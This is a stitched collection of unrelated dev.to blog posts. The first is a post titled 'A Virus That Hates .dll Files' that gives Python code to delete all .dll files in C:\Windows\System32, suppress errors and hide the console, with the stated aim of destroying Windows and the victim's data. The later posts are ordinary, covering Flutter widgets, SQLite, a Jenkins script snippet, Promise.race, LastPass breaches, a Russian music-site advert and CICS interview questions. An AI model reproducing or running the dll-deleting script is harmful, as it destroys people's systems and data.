teleren/devto huggingface dataset:
A Virus That Hates .dll Files
Tags: python, security, virus
Published: 2022-12-01 07:44:26

I've written a virus in Python which does a very tricky job!
The main goal is to write a virus which destroys **Windos OS**.

---

## Important Files
As we know, one of the most important files in Windows OS is a file with _.dll_ extension that is usually stored in **C Drive** which our Windows OS was installed.
So in this virus we're going to target _.dll_ files which are vitally important for Windows OS and if we remove them, in addition to the destruction of the operating system, the target will also lose her/his data.

## Libraries

OS

> Provides functions for creating and removing a directory...etc.

Win32gui

> Provides an interface to the native win32 GUI API.

Win32con

> Extended Win32 process creation and management capabilities are accessible through this module.

## Let's Code!

First you should import these libraries.

```python
import os, win32gui, win32con

# Clear Terminal
clear = lambda: os.system('cls' or "clear")
clear()
```
Then we should specify the directory that we want to inspect, and the file extensions that are important for us.

```python
# Path to inspect
path = "C:\\Windows\\System32\\"

# Max file size
maxFileSize = 21182681

# File extensions
EXTENSIONS = {".dll"} 
```
Last step is to do a for loop in this path and in the files we'll have found, to see which file has _.dll_ extension and then delete them.

```python
try: 
    for dirname, dirpaths, filenames in os.walk(path):
        for filename in filenames:
            ext = os.path.splitext(filename)[-1]
            # checks if a file has the specified extensions
            if ext in EXTENSIONS:
                x = os.path.join(dirname, filename)
                # Checks if file doesn't have a large size
                if os.path.getsize(x) < maxFileSize:
                    # REMOVING FILES
                    os.remove(x)
                    print("Deleted!")
except:
    pass
```
While we're running this python file we can also hide CMD or the Terminal.

```python
import os, win32gui, win32con

# Hide CMD
win32gui.ShowWindow(win32gui.GetForegroundWindow() , win32con.SW_HIDE)
```
![dll-virus-code](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lrl5orwfvxcwali5ycd8.png)

---
If you're interested in this subject, you can take a look at [this repository on GitHub](https://github.com/Atena-d/Atena-Dadkhah).

Thanks! 👻
https://muzv.net/
Published: 2022-10-31 12:45:47

Для чего нужны музыкальные сайты?

Интернет предлагает множество музыкальных сайтов, где можно прослушать или скачать нашу любимую музыку.
Не все из них легальны и не все предоставляют именно ту музыку, которая вам нужна, те функции, которые будут удобны и комфортны для вас, не маловажный фактор – оформление сайта и удобный интерфейс, так же доступность пользования 24/7, и без порой проблематично регистрации.

Что даёт музыка нам?

Музыка - неотъемлемая часть жизни для большинства из нас. Она заставляет нас чувствовать, хорошее или плохое настроение, порой вызывает ярость, бешенство или жгучую ностальгию по определенным временам или действиям.
Музыка заставляет нас двигаться дальше, несмотря ни на что, либо остановиться и оглянуться вокруг.
Музыка – часть жизни практически каждого человека, которая по-своему помогает и направляет.

Итог
Кому-то нравиться иметь огромный музыкальный запас у себя на телефоне, планшете, компьютере, ноутбуке или на другом электронном устройстве.
Другие же не любят или не имеют возможности заполнять музыкой пространство своего устройства, поэтому слушают музыку онлайн, сохраняя свои плейлисты на сайтах или пользуясь поисковиком, каждый раз находить музыку вручную.

muzv.net
Не самый знаменитый сайт для прослушивания и скачивания музыки, но один из самых удобных и комфортабельных ресурсов, которые могут нам предложить просторы огромного интернета.
•	Комфортное и современное оформление сайта.
•	Удобный и понятный интерфейс, с которым справиться любой человек, вне зависимости от возраста.
•	Постоянное пополнение музыкальной библиотеки.
•	Помимо обычного прослушивания, есть возможность посмотреть клип или музыкальное сопровождение – встроенный YouTube.
•	Слушать или скачивать? Выбирать тебе.
•	Высокоскоростная линия, никаких лагов или подвисания во время прослушивания.
https://muzv.net/
Magic AUTH - Alternative for OAuth!
Published: 2022-12-01 07:09:48

I was working on a project that needs Database less approach for user authentication. I started to research which is the best service I can use to meet that need.** Magic AUTH** appears on the list, so I tried that and It make the authentication process easy.
It is easy to implement, I have attached the document link for guide.
https://magic.link/docs/auth/overview
[Contact](https://mudassirali.com)
Developer Experience, The New Weapon of Choice for Marketing and Technical Teams
Tags: technical
Published: 2022-12-01 07:09:47

---
title: Developer Experience, The New Weapon of Choice for Marketing and Technical Teams
published: true
description: The New Weapon of Choice for Marketing and Technical Teams
tags: "technical"
# published_at: 2022-12-01 07:06 +0000
---
## What is Developer Experience?

Developer experience or developer user experience is the term used to describe how developers feel about their work.

The developer’s experience can be affected by the tools they use, the processes they have to go through and even the language they are programming in.

The goal of a good developer experience is to make developers more productive and more satisfied with their work.

## Why Developer Experience Matters

The user experience of a product is defined by the user, and that means the developer experience too. The developer experience is what developers feel when they are using their own product - it's how they think and feel about the code they write.

This section will cover why developer experience matters, how it affects a product’s success, how to improve your developer’s experience, and what to do if you can't improve your dev's experience.

## How to Improve Developer's User Experience

Developers are the people who create new software and applications. They are the ones who are most familiar with the inner workings of their code and they know what features need to be improved on.

A developer's user experience is defined by how well a product or application functions, how easy it is to use, and how satisfying it is. Developers have a lot of power in this situation because they can decide what features need to be improved on, which will then change the user's experience.

In order to improve a developer's user experience, one should take into account their needs and wants as well as their goals for the product or application.

## How to Measure Developer User Experience

The goal of measuring the user experience is to find out what could be improved in the software. This data is then used to create a roadmap for developers to solve these problems.

The most common method for measuring the user experience is questionnaires. They are quick and easy to fill out and can be done on any device. The downside of this method is that it only provides qualitative data and it doesn't provide actionable insights.
Amazon is now shutting down another business after food service in India
Tags: amazon, shoping, india, businge
Published: 2022-12-01 07:03:01

After food service, now Amazon will shut down three of its big businesses in India amid the economic slowdown. [Amazon company](https://realclickmoney.blogspot.com/2022/11/will-south-africa-sri-lanka-west-indies.html) is shutting down its wholesale distribution channel, food delivery service and ed-tech venture.
Amazon had earlier announced the closure of its Amazon Food Services from December 29. Now Amazon is shutting down its wholesale distribution business based in Bengaluru.
 **[The giant company is also shutting down Amazon Academy in 2023.](https://businessbankinge.blogspot.com/2022/11/employees-Mississippi-email-business.html)**
Discontinuing its wholesale distribution business in India as a part of annual operating plan review process and cost cutting measures. Operates in three cities- Bengaluru, Mysore and Hubli. It deals in buying products faster from businesses.
To support his small business he was in business distributing in bulk directly to grocery stores and pharmacies and department store local stores.
7 Publicly Known LastPass Security Breaches since 2011
Tags: privacy, security, cybersecurity, opensource
Published: 2022-12-01 06:59:54




The security team of the popular password manager LastPass can't seem to catch a break. This is the second security breach this year, and they are connected. Overall, there are seven publicly known security incidents since 2011. PrivacyTools.io is keeping track of [privacy related incidents on this page](https://www.privacytools.io/incidents).

"We recently detected unusual activity within a third-party cloud storage service, which is currently shared by both LastPass and its affiliate, GoTo," [the company said](https://blog.lastpass.com/2022/11/notice-of-recent-security-incident/).

"We have determined that an unauthorized party, using information obtained in the August 2022 incident, was able to gain access to certain elements of our customers' information."

Customers' passwords haven't been compromised due to LastPass's Zero Knowledge design. But it was also noted the full scope of the incident is not yet identified and what information has been accessed by the hacker.

So far, LastPass has been transparent about past security incidents and breaches and publishes them in their blog. We are advising our readers to look for [alternative password managers](https://www.privacytools.io/secure-password-manager) recommended on our website. The choices are great: Open-source, free, secure, user-friendly and self-hostable.
No Thanks, I Don't Want to Build A Billion-Dollar Company
Published: 2022-12-01 06:37:54

When I started to build out my SAAS app Proxies API, I didn’t want a billion-dollar company or even a million-dollar company. Those are weird goals and don’t have any power behind them. The why of doing a startup should be so powerful it drives you every morning and every hour on its own. For that, it has to be natural. Lying in reality. A lot of gurus advocate having a strong why to their students. To find you are why they say. Find it SO that you can build a company. The irony and dishonesty of this approach are lost on them. It’s like saying, go find a disease you have so I can cure it. It’s never worked that way. Because you can’t trick yourself. Then why should it be obvious? If it is not, then you can’t wear a psychological version of VR goggles to psyche yourself that there is a why. Here is a strange thought — if you can’t find a way to start a company, then don’t. If you don’t have the motivation to do a startup, then why do you want to do it.

I think of it this way- If I know there is a tsunami coming my way in 6 months, and I am on an island, and I have no way to get out, it’s natural for me to plan and do everything in my power to deal with the upcoming threat. I don’t need to find me why. It is natural, and the goal of building a strong tower tall enough to survive the tsunami is not arbitrary. The fear fuels the work that’s needed and the research that’s required.

For me, I had to quit my day job because of the way my personal life was structured. Terrible things would happen, or at least had a high chance of happening if I didn’t become location independent. I can’t share more than this in a public forum, but all you need to know is why I was looking large in front of me, and I had anywhere between a year to 18 months to get independent.

After this threat, my calculations are modest. All I needed was to be able to pay rent and sustain living expenses. Period No other jazz was necessary. Figures like a million dollars or think big was laughable guru speak who didn’t have the sense of reality or urgency about my situation. You see, beyond the exact number needed to sustain me a month on month and free from having to work a job, the extra money meant nothing to me.

A focus like this is based on fear, a fear that is natural and real. It’s impersonal, and it has great power. It doesn’t stress you out like a personal fear like the fear of humiliation, which is your very own. This is my power. And this made sure I left no stone unturned to get to my goal. Everyday scenarios would play out in my head as to how else I could fail. Failing was not an option, so it fuelled me. I wanted it.

A potential billion-dollar company someday when my personal life is in tatters is of no use to me. Just earning 2.5 k per month meant everything to me. It’s my dream come true, and possibly a nightmare averted.

The author is the founder of Proxies API, a proxy rotation API service.
Flutter Toast vs Snackbar
Published: 2022-12-01 06:28:36

What is a toast message in an android application? It is just a message that is displayed on the top of the screen for a short time. This is the simplest meaning of the [toast message](https://www.flutterdecode.com/flutter-toast-message-how-to-show-a-toast-message-in-a-flutter/) and in a flutter, the toast message has the no different meaning it is the same as I described above.

And what is a [Snackbar](https://www.flutterdecode.com/flutter-snackbar-example/) in flutter? It is also a way to communicate with the user or display a message to the user but with the snackbar your user can interact with the app by doing certain things. Snackbar can be used in areas where simple external information is required with options to use. For example: In the GMail application, when you delete a message, a quick snackbar with the option message ‘Deleted’ and ‘Restore’ displays on the top of the mobile screen. After clicking the ‘Restore’ button, the deleted information will be restored.

You can compare Toast vs Snackbar in android development with using java but in flutter showing a snackbar and showing a toast message are the same thing although there is a package in flutter especially for displaying the toast message on the screen just like the toast message from java. And you can use this package to display a toast message.

Use this [plugin](https://pub.dev/packages/fluttertoast)

```
Fluttertoast.showToast(

msg: “This is a Toast message”, // message

toastLength: Toast.LENGTH_SHORT, // length

gravity: ToastGravity.CENTER, // location

timeInSecForIos: 1 // duration

);
```
For displaying a snackbar in flutter you don’t need any extra package. Flutter comes with a pre-define snackbar property in scaffold widget of the app.

```
ScaffoldMessenger.of(context).showSnackBar(
 SnackBar(

  content: Text(“Sending Message”),

 )
);
```
if you use the flutter toast package then here is a little comparison between toast and snackbar. In my opinion, if your goal is to show warnings or information that requires user interaction/confirmation, then you should use a snackbar. If it’s just information that doesn’t require user authentication, you can use a toast message.

## #TOAST

1. You can not dismiss by swiping

2. Widget not required (Can show in the android home or above other apps)

3. It can not handle user input
4. Best to show info messages to the user


## #Snackbar

1. It can be dismissed by swiping

2. It can only be displayed inside the app widget or activity

3. It can easily handle user input

4. Good for showing warning/info type messages to the user that needs attention

You can use whatever you want to show the message but in my opinion, I would rather use snackbar for displaying the message because it gives the ability to interact with the user, and by using snackbar we can do lots of stuff that can not be done using flutter toast.
Jenkins - run shell command on the master
Tags: jenkins, shell, snippet
Published: 2022-12-01 06:25:05

---
title: Jenkins - run shell command on the master
published: true
description: 
tags: jenkins, shell, snippet
# cover_image: https://direct_url_to_image.jpg
# Use a ratio of 100:42 for best results.
---

Go to your jenkins instance

https://local-jenkins/script

paste and run it:
```
def proc = "ls -l".execute()
proc.waitFor()
def b = new StringBuffer()
proc.consumeProcessErrorStream(b)
println proc.exitValue() // print exit code
println proc.text // print output
```
How to add a static widget at the end of ListView In Flutter
Published: 2022-12-01 06:22:45

Here are some steps

- First Add LsitView to your code, Make its children

- Create one Nested Listview Builder For the rest of the Listview elements.

- Make sure to add Property — (Physics: ScrollPhysics(), shrinkWrap: true) To ListView builder

- Below that listView builder Create the Footer widget(Container).

- Wrap the ListView Builder and Footer widget in the children of the First created ListView

- **Below is the Example Code for this**

Now I Crested the List of the Rest of the Widgets And the footer Widget was Created Separately

```
  List listTiles = ["A", "B", "C", "C"];

```

```
 ListView(
          children: <Widget>[

            //Rest of the elements
            ListView.builder(
              physics: ScrollPhysics(),
              shrinkWrap: true,
              itemCount: listTiles.length,
              itemBuilder: (BuildContext context, int index) {
                return Container(
                  color: Colors.green,
                  height: 60,
                  child: Center(
                    child: Text(
                      '${listTiles[index]}',
                      style: const TextStyle(color: Colors.black, fontSize: 16),
                    ),
                  ),
                );
              },
            ),

            //Footer widget or other Static Widget after list view
            Container(
              height: 40,
              color: Colors.redAccent,
              child:  const Center(
                child: Text(
                  'Footer',
                  style: TextStyle(color: Colors.white, fontSize: 16),
                ),
              ),
            ),
          ],
        ),

```

This is Just one way To do it But here is [How to add a static widget at end of ListView builder flutter](https://www.flutterdecode.com/how-to-add-static-widget-at-end-of-listview-builder-flutter-code-example/)
How to Create table In SQLite Database in a flutter
Published: 2022-12-01 06:19:36

SQLite is the Plugin that stores the data in the device in the form of Tables.

It helps to maintain the data in rows and columns in the Mobile local directory. we can run [SQL queries](https://blog.hubspot.com/marketing/sql-tutorial-introduction) to perform CRUD operations (Create, Read, Update, delete)

So to start Using the Sqlite in flutter add the plugin in the dependencies:

```
dependencies:
  flutter:
    sdk: flutter

#dependencie of SQLITE
  sqflite: ^2.2.0+3
  path_provider: ^2.0.11

```

Then make a separate file for using all the database queries and creating a database.

Import the statements and create the database helper class:

```
import 'package:sqflite/sqflite.dart';
import 'package:path/path.dart';


class DatabaseHelper{

}

```
In this class create the future method for creating a database and which will return the database when needed.

There is an openDatabase() function that comes in the SQLite package, which takes three parameters. first takes the path of the database where the database file will be stored and the second one takes the onCreate call back function which calls when the database is not there in the provided path and needs to be created. third is the version that takes the integer value.

Here is the function for that:

```
  final String _tableName = "users";

  Future<Database> getDataBase() async {
    return openDatabase(
      join(await getDatabasesPath(), "usersDatabase.db"),
      onCreate: (db, version) async {
        await db.execute(
          "CREATE TABLE $_tableName (id TEXT PRIMARY KEY, name TEXT, imageUrl TEXT)",
        );
      },
      version: 1,
    );
  }

```
Also created one variable that stores the table name.

So here is how to create the Database function which creates the local database table.

See how to [flutter SQLite CRUD operations](https://www.flutterdecode.com/flutter-sqlite-crud-example/) are performed with Example Code.

Thank you for reading

Happy Fluttering
Promises, on your mark... set... Go!
Tags: javascript, promises, webdev, react
Published: 2022-12-01 06:13:57

More often than not, we need to use promises (async/await and so on) to fetch resources from an API or server. Unfortunately, not all APIs or servers are hosted on super fast and robust systems. 

So what can you do if a fetch response is an important part of loading your UI?

Race your Promises!

[Promise.race()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/race) is a method on the Promise object that takes an array of promises and returns the first one to finish.

How is this useful for loading UIs?
Take a look at this example using React and React-Router-DOM...

```
async function getUserInfo(user) {
  const getUser = await fetch(`https://example.com/api/get_user/${user}`).json()
  return getUser;
}

async function fallBackUser() {
  let anon;
  setTimeout(()=> anon = {name: "Anonymous"}, 1000)
  return anon;
}

async function appLoader({params}) {
  const requestUser = Promise.race([getUserInfo(params.user), fallBackUser()])
  return requestUser;
}

function App() {
  const userInfo = useLoaderData()
  return (
    <h1>Username: {userInfo.name}</h2>
  )
}
```
In the above example, if the server/API doesn't send a response before 1 second(1000 milliseconds) is elapsed, requestUser takes on the value returned from the fallBackUser function, and the app is rendered.

Promise.race() has many use cases and can be used to make applications faster, or avoid getting stuck. 

Or just use Axios :)
CICS Interview Questions and Answers for Freshers
Tags: cics, interview, interviewquestions, cicsinterview
Published: 2022-12-01 06:10:49

The [interview questions for CICS](https://www.onlineinterviewquestions.com/cics-interview-questions/) are always unique and reflect the industry in which you have worked as an IT professional. This is also true when it comes to setting out your qualifications. Here we list some of the most popular interview questions that you might be asked during an interview for CICS software development jobs.

1) What are the terms CICS generally means?
2) What is the type of PPT in the CICS?
3) What are the uses of PPT in CICS?
4) What are the types of essential programs used in the CICS?
5) What is the TCP in the CISC?
6) What is the KCP in the CICS?
7) What is the PCP in the CICS?
8) What are the main uses of the transaction in the CICS?
9) What do you mean by the term FCT?
10) What is the term BMS in CICS?
11) What are the processes to create a MAP in CICS?
12) What are the types of DFHMDF present in the CICS?
13) What are the classifications of the CICS program?
14) What is Non-Conventional Programs?
15) What is the term conversational programs mean?
Thanks for Visiting Here.
Read Answers for these [CICS Interview Questions](https://www.onlineinterviewquestions.com/cics-interview-questions/).